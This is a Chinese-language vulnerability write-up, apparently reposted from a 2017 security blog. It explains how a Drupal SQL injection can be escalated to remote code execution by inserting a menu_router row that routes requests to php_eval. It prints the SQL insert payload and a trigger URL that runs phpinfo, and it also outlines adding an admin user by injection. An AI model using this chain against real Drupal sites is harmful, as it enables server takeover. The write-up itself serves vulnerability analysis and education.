FreeBuf科普
Drupal是使用PHP语言编写的开源内容管理框架（CMF），它由内容管理系统（CMS）和PHP开发框架（Framework）共同构成。连续多年荣获全球最佳CMS大奖，是基于PHP语言最著名的WEB应用程序。
前几天爆了一个 Drupal 的 SQL Injection 注入漏洞，但是这个漏洞不止与 SQL 注入这么简单，还可以利用其来 RCE（远程代码执行）。知名安全研究人员StefanEsser 在 Twitter 上也有提及，可是没有透露细节。
call_user_func_array ( callable $callback , array $param_arr )第一个参数是 function 的名称，第二个参数是要调用的参数的参数。 利用这几个特性，可以实现 Drupal 的各种花式 getshell。我只审计出来一种，还有很多方式并没有去实现（毕竟渣渣看不出来）。
Drupal特性引发漏洞
Drupal 有一个特性，可以让管理员添加 PHP tag 来写文章，叫做 PHP filter。这个特性默认是关闭的。当然，由于 PDO 可以执行多行 SQL 语句的特性，我们可以直接添加管理用户然后登录上去，打开 PHP filter 的 Module，然后发表文章，最后 getshell。 想要自动化也简单，那就是把从打开 PHP filter 到发表文章的所有执行过的 SQL 语句合在一起当作 Payload，最后 getshell。这个思路的 POC 我也做过，可惜太过于繁琐，最后 Payload 出来很长很长，一点也不优雅，而且并没有利用到 callback 的特性。为了钻个牛角尖，咱就来审计一下如何花式 getshell。 上文中说了 PHP filter 是一个可以执行 PHP 代码的特性，而 PHP filter 所在的文件是/modules/php/php.module这个文件，其中：function php_eval($code) { .. ob_start(); die($code); print eval('?>' . $code); $output = ob_get_contents(); ob_end_clean(); $theme_path = $old_theme_path; return $output; }
这个函数就是用来执行 custom php code 的函数。
callback引发命令执行
对于审计的工具，我这种渣渣直接就 find 然后 grep 定位文件，在用 phpstorm + ideavim(plugin of phpstorm)，来跟踪函数，轻松愉快ow<。 我们很确定的是我们要找 call_user_func_array 这个函数，利用如下命令来查找：cd /var/www/html/drupal find . -type f -name "*" | xargs grep call_user_func_array其实我们可以进一步缩小范围，因为第一个函数是我们调用的函数，而如果我们想利用的话，call_user_func_array这个函数的第一个参数我们要可以控制，那么进一步缩小范围：
find . -type f -name "*" | xargs grep call_user_func_array/(//$ | grep -v ". '_'"结果如下：
if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; }
这里取出router_item中的include_file，然后用require_once来包含。这里是一个 point，
因为 Drupal 默认不开启 PHP filter，这里包含了就可以不用开启 PHP filter 了
。 接着取出router_item中的page_callback，带入call_user_func_array执行。 到此为止整个流程我们已经很清楚了。 需要注意的是page_arguments的第一个参数才会被执行，而第一个参数正是$_GET['q']的值。
利用测试
通过注入向 menu_router 表中插入一段数据：path 为要执行的代码； include_file 为 PHP filter Module 的路径； page_callback 为 php_eval； access_callback 为 1（可以让任意用户访问）。访问地址即可造成 RCE。 我们来测试一下。首先在数据库执行语句：
insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','php_eval', '1', 'modules/php/php.module');
然后访问http://192.168.1.109/drupal/?q=%3C?php%20phpinfo();?%3E。
exp 已经放出了，地址戳 我 ，咱刚刚下了一个本子特赞，撸去了。 [参考来源 ricter.me ，转载请注明来自
原文发布时间：2017年3月24日
本文由：安全加 发布，版权归属于原作者
原文链接：http://toutiao.secjia.com/callback%E5%99%A9%E6%A2%A6%EF%BC%9A%E8%A7%A3%E6%9E%90%E8%91%97%E5%90%8Dcms%E6%A1%86%E6%9E%B6drupal-sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E
本文来自云栖社区合作伙伴安全加，了解相关信息可以关注安全加网站
